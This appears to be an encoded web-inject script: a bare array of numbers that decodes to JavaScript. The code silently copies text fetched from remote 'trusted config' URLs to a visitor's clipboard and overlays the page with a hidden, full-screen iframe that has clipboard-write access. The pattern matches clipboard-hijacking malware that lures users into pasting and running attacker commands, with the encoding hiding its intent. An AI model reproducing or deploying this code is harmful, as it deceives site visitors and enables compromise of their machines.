2,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,